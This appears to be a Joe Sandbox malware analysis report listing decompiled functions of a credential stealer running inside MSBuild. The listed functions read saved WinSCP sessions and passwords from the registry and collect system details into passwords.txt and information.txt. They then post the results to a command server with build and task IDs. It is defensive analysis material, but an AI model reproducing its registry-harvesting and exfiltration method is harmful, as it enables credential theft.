HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00406E4E
lstrlenA.KERNEL32(?,",status,00437998,------,0043798C,",task_id,00437978,------,0043796C,",mode,00437958,------,0043794C), ref: 0040753C
lstrlenA.KERNEL32(?), ref: 0040754B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407556
HeapAlloc.KERNEL32(00000000), ref: 0040755D
lstrlenA.KERNEL32(?), ref: 0040756A
_memmove.LIBCMT ref: 00407578
lstrlenA.KERNEL32(?), ref: 00407586
lstrlenA.KERNEL32(?,?,00000000), ref: 00407594
_memmove.LIBCMT ref: 004075A1
lstrlenA.KERNEL32(?,?,00000000), ref: 004075B6
HttpSendRequestA.WININET(00000000,?,00000000), ref: 004075C4
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00407621
InternetCloseHandle.WININET(00000000), ref: 0040762C
InternetCloseHandle.WININET(?), ref: 00407638
InternetCloseHandle.WININET(?), ref: 00407644
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406E7C

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

------, xrefs: 00406CFC
", xrefs: 00406F61
", xrefs: 004074DD
------, xrefs: 004073FF
status, xrefs: 004074B1
", xrefs: 004070C1
------, xrefs: 00406FE3
build_id, xrefs: 00407095
------, xrefs: 00407145
", xrefs: 0040721D
mode, xrefs: 004071F1
------, xrefs: 0040729F
------, xrefs: 00406E82
task_id, xrefs: 00407351
", xrefs: 0040737D
af641acce3f8c85bf2490a9b3aa972c5, xrefs: 004070ED

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$"$"$------$------$------$------$------$------$af641acce3f8c85bf2490a9b3aa972c5$build_id$mode$status$task_id
API String ID: 3702379033-3806189774
Opcode ID: c793aeecd545ee641a2a8adfff4ed13e874b461d4c663d960c75efdd339cb0f9
Instruction ID: 42b782e3d86a9350796fa24ab104a47fbd96201bae2466775e008d32658e9246
Opcode Fuzzy Hash: c793aeecd545ee641a2a8adfff4ed13e874b461d4c663d960c75efdd339cb0f9
Instruction Fuzzy Hash: 5052897194016D9ACF61EB62CD46BCCB3B5AF04308F4184E7A51D73161DA746FCA8FA8

Function 0040E186 Relevance: 56.3, APIs: 18, Strings: 14, Instructions: 325
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040E1B7
_memset.LIBCMT ref: 0040E1D7
_memset.LIBCMT ref: 0040E1E8
_memset.LIBCMT ref: 0040E1F9
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E22D
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 0040E25E
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E276
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E29D
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E2BD
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 0040E2E0
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?,Host: ,Soft: WinSCP,004368E7), ref: 0040E379
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?,?), ref: 0040E3D9

Strings

Soft: WinSCP, xrefs: 0040E2FE
:22, xrefs: 0040E42D
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0040E20B
PortNumber, xrefs: 0040E3BD
Password: , xrefs: 0040E529
UseMasterPassword, xrefs: 0040E24E
UserName, xrefs: 0040E496
HostName, xrefs: 0040E367
Password, xrefs: 0040E515
Host: , xrefs: 0040E32A
Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0040E2B3
Login: , xrefs: 0040E459
passwords.txt, xrefs: 0040E662
Security, xrefs: 0040E253

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _memset$Value$CloseOpen$Enum
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 463713726-2798830873
Opcode ID: 4eaab8354fff006c774e5a3a11a8fc4062ced311967a4d7608afb3132e7bbd75
Instruction ID: ab712d79911a6534e16ca2c8d51643d97c9570b95301d2e418567ee179d90524
Opcode Fuzzy Hash: 4eaab8354fff006c774e5a3a11a8fc4062ced311967a4d7608afb3132e7bbd75
Instruction Fuzzy Hash: 56D1D6B195012DAADF21EB91DC42BD9B778AF04308F5018EBA508B3151DA747FC9CFA5

Function 00405F39 Relevance: 53.0, APIs: 20, Strings: 10, Instructions: 466
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
StrCmpCA.SHLWAPI(?), ref: 00405FF6
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
lstrlenA.KERNEL32(?,",mode,004378D8,------,004378CC,af641acce3f8c85bf2490a9b3aa972c5,",build_id,004378B4,------,004378A8,",0043789C,------), ref: 004065FD
lstrlenA.KERNEL32(?), ref: 0040660C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00406617
HeapAlloc.KERNEL32(00000000), ref: 0040661E
lstrlenA.KERNEL32(?), ref: 0040662B
_memmove.LIBCMT ref: 00406639
lstrlenA.KERNEL32(?), ref: 00406647
lstrlenA.KERNEL32(?,?,00000000), ref: 00406655
_memmove.LIBCMT ref: 00406662
lstrlenA.KERNEL32(?,?,00000000), ref: 00406677
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00406685
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 004066E2
InternetCloseHandle.WININET(00000000), ref: 004066ED
InternetCloseHandle.WININET(?), ref: 004066F9
InternetCloseHandle.WININET(?), ref: 00406705
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

build_id, xrefs: 00406419
", xrefs: 004062E5
", xrefs: 00406445
mode, xrefs: 00406575
------, xrefs: 00406206
------, xrefs: 00406367
------, xrefs: 00406080
", xrefs: 004065A1
------, xrefs: 004064C9
af641acce3f8c85bf2490a9b3aa972c5, xrefs: 00406471

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$------$------$------$------$af641acce3f8c85bf2490a9b3aa972c5$build_id$mode
API String ID: 3702379033-1631910280
Opcode ID: 9130669875251964c831f1a88f491c766dae42b48f3d6367ba80e634a4db9760
Instruction ID: 761880eafc7f1130453e9609930188909abd0ac3e1dc834df3bf91bb01064538
Opcode Fuzzy Hash: 9130669875251964c831f1a88f491c766dae42b48f3d6367ba80e634a4db9760
Instruction Fuzzy Hash: 9E22C9719401699BCF21EB62CD46BCCB7B5AF04308F4144E7A60DB3151DAB56FCA8FA8

Function 00418753 Relevance: 48.2, APIs: 32, Instructions: 154
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00418794
GetProcAddress.KERNEL32 ref: 004187AB
GetProcAddress.KERNEL32 ref: 004187C2
GetProcAddress.KERNEL32 ref: 004187D9
GetProcAddress.KERNEL32 ref: 004187F0
GetProcAddress.KERNEL32 ref: 00418807
GetProcAddress.KERNEL32 ref: 0041881E
GetProcAddress.KERNEL32 ref: 00418835
GetProcAddress.KERNEL32 ref: 0041884C
GetProcAddress.KERNEL32 ref: 00418863
GetProcAddress.KERNEL32 ref: 0041887A
GetProcAddress.KERNEL32 ref: 00418891
GetProcAddress.KERNEL32 ref: 004188A8
GetProcAddress.KERNEL32 ref: 004188BF
GetProcAddress.KERNEL32 ref: 004188D6
GetProcAddress.KERNEL32 ref: 004188ED
GetProcAddress.KERNEL32 ref: 00418904
GetProcAddress.KERNEL32 ref: 0041891B
GetProcAddress.KERNEL32 ref: 00418932
GetProcAddress.KERNEL32 ref: 00418949
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041895A
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041896B
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041897C
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041898D
LoadLibraryA.KERNEL32(?,004185D2), ref: 0041899E
GetProcAddress.KERNEL32(75070000,004185D2), ref: 004189BA
GetProcAddress.KERNEL32(75FD0000,004185D2), ref: 004189D5
GetProcAddress.KERNEL32 ref: 004189EC
GetProcAddress.KERNEL32(75A50000,004185D2), ref: 00418A07
GetProcAddress.KERNEL32(74E50000,004185D2), ref: 00418A22
GetProcAddress.KERNEL32(76E80000,004185D2), ref: 00418A3D
GetProcAddress.KERNEL32 ref: 00418A54

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 98b88b5f96dc66c065c06141136ba5df242bfcb15761572c331c610d89b40f79
Instruction ID: 199c42d56f0628ccab12840d69b6f02f13cfb0cf7a8249375453f6caf445ef8e
Opcode Fuzzy Hash: 98b88b5f96dc66c065c06141136ba5df242bfcb15761572c331c610d89b40f79
Instruction Fuzzy Hash: 2B7106B5910312AFEF1ADF60FD488243BA7F70874BF11A426E91582270EB374A64EF55

Function 00413B86 Relevance: 47.9, APIs: 2, Strings: 25, Instructions: 674
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 00410CC0: GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CD8
Part of subcall function 00410CC0: RtlAllocateHeap.NTDLL(00000000), ref: 00410CDF
Part of subcall function 00410CC0: GetLocalTime.KERNEL32(?), ref: 00410CEB
Part of subcall function 00410CC0: wsprintfA.USER32 ref: 00410D16

Part of subcall function 004115D4: _memset.LIBCMT ref: 00411607
Part of subcall function 004115D4: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
Part of subcall function 004115D4: RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
Part of subcall function 004115D4: RegCloseKey.ADVAPI32(?,?,?,?), ref: 00411657
Part of subcall function 004115D4: CharToOemA.USER32(?,?), ref: 0041166B

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 004109A2: GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
Part of subcall function 004109A2: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
Part of subcall function 004109A2: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
Part of subcall function 004109A2: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71

GetCurrentProcessId.KERNEL32(Path: ,0043687C,HWID: ,00436870,GUID: ,00436864,00000000,MachineID: ,00436854,00000000,Date: ,00436848,00436844,004379AC,Version: ,004365B6), ref: 00413DDB

Part of subcall function 0041224A: OpenProcess.KERNEL32(00000410,00000000,=A,00000000,?), ref: 0041226C
Part of subcall function 0041224A: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
Part of subcall function 0041224A: CloseHandle.KERNEL32(00000000), ref: 0041228E

Part of subcall function 00410B30: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B44
Part of subcall function 00410B30: HeapAlloc.KERNEL32(00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B4B

Part of subcall function 00411807: __EH_prolog3_catch_GS.LIBCMT ref: 0041180E
Part of subcall function 00411807: CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EF9,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 0041181F
Part of subcall function 00411807: CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
Part of subcall function 00411807: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
Part of subcall function 00411807: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
Part of subcall function 00411807: VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411997: __EH_prolog3_catch.LIBCMT ref: 0041199E
Part of subcall function 00411997: CoInitializeEx.OLE32(00000000,00000000,00000030,00413F67,?,AV: ,004368C4,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 004119AD
Part of subcall function 00411997: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
Part of subcall function 00411997: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
Part of subcall function 00411997: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
Part of subcall function 00411997: VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00411563: CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 00411575
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,00000008), ref: 00411580
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,0000000A), ref: 0041158B
Part of subcall function 00411563: ReleaseDC.USER32(00000000,00000000), ref: 00411596
Part of subcall function 00411563: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4), ref: 004115A2
Part of subcall function 00411563: HeapAlloc.KERNEL32(00000000,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 004115A9
Part of subcall function 00411563: wsprintfA.USER32 ref: 004115BB

Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000,0043670D,?,?), ref: 00410E0C
Part of subcall function 00410DDB: LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
Part of subcall function 00410DDB: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57
Part of subcall function 00410DDB: LocalFree.KERNEL32(00000000), ref: 00410EFF

Part of subcall function 00410D2E: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
Part of subcall function 00410D2E: HeapAlloc.KERNEL32(00000000), ref: 00410D50
Part of subcall function 00410D2E: GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
Part of subcall function 00410D2E: wsprintfA.USER32 ref: 00410D7D

Part of subcall function 00410F51: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C), ref: 00410F65
Part of subcall function 00410F51: HeapAlloc.KERNEL32(00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410F6C
Part of subcall function 00410F51: RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ), ref: 00410F8A
Part of subcall function 00410F51: RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000), ref: 00410FA6
Part of subcall function 00410F51: RegCloseKey.ADVAPI32(00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410FAF

Part of subcall function 00411007: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 0041107D
Part of subcall function 00411007: wsprintfA.USER32 ref: 004110DB

Part of subcall function 00410FBA: GetSystemInfo.KERNEL32(?), ref: 00410FD4
Part of subcall function 00410FBA: wsprintfA.USER32 ref: 00410FEC

Part of subcall function 00411119: GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 00411131
Part of subcall function 00411119: HeapAlloc.KERNEL32(00000000), ref: 00411138
Part of subcall function 00411119: GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
Part of subcall function 00411119: wsprintfA.USER32 ref: 0041117A

Part of subcall function 00411192: EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 004111E9

Part of subcall function 004114A5: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00436712,?,?), ref: 004114D4
Part of subcall function 004114A5: Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Part of subcall function 004114A5: Process32Next.KERNEL32(00000000,00000128), ref: 00411542
Part of subcall function 004114A5: CloseHandle.KERNEL32(00000000), ref: 0041154D

Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670F,00000000,?,?), ref: 00411273
Part of subcall function 00411203: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
Part of subcall function 00411203: wsprintfA.USER32 ref: 004112DD
Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
Part of subcall function 00411203: lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E8C), ref: 004113DC
Part of subcall function 00411203: RegCloseKey.ADVAPI32(?), ref: 00411446
Part of subcall function 00411203: RegCloseKey.ADVAPI32(?), ref: 00411472

lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000), ref: 00414563

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

Strings

User Name: , xrefs: 0041400E
RAM: , xrefs: 00414350
HWID: , xrefs: 00413D4E
Date: , xrefs: 00413C1F
VideoCard: , xrefs: 004143B7
Path: , xrefs: 00413DBB
Version: , xrefs: 00413B9F
[Hardware], xrefs: 0041420D
Cores: , xrefs: 0041428E
Threads: , xrefs: 004142EF
Local Time: , xrefs: 0041414B
MachineID: , xrefs: 00413C80
Install Date: , xrefs: 00413ED1
Processor: , xrefs: 0041422D
information.txt, xrefs: 00414573
[Processes], xrefs: 0041442A
Computer Name: , xrefs: 00413FAD
Display Resolution: , xrefs: 0041406F
TimeZone: , xrefs: 004141AC
Windows: , xrefs: 00413E70
Work Dir: In memory, xrefs: 00413E30
GUID: , xrefs: 00413CE1
Keyboard Languages: , xrefs: 004140DE
AV: , xrefs: 00413F3E
[Software], xrefs: 004144A3

Memory Dump Source

Source File: 00000001.00000002.2713524581.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2713524581.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2713524581.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
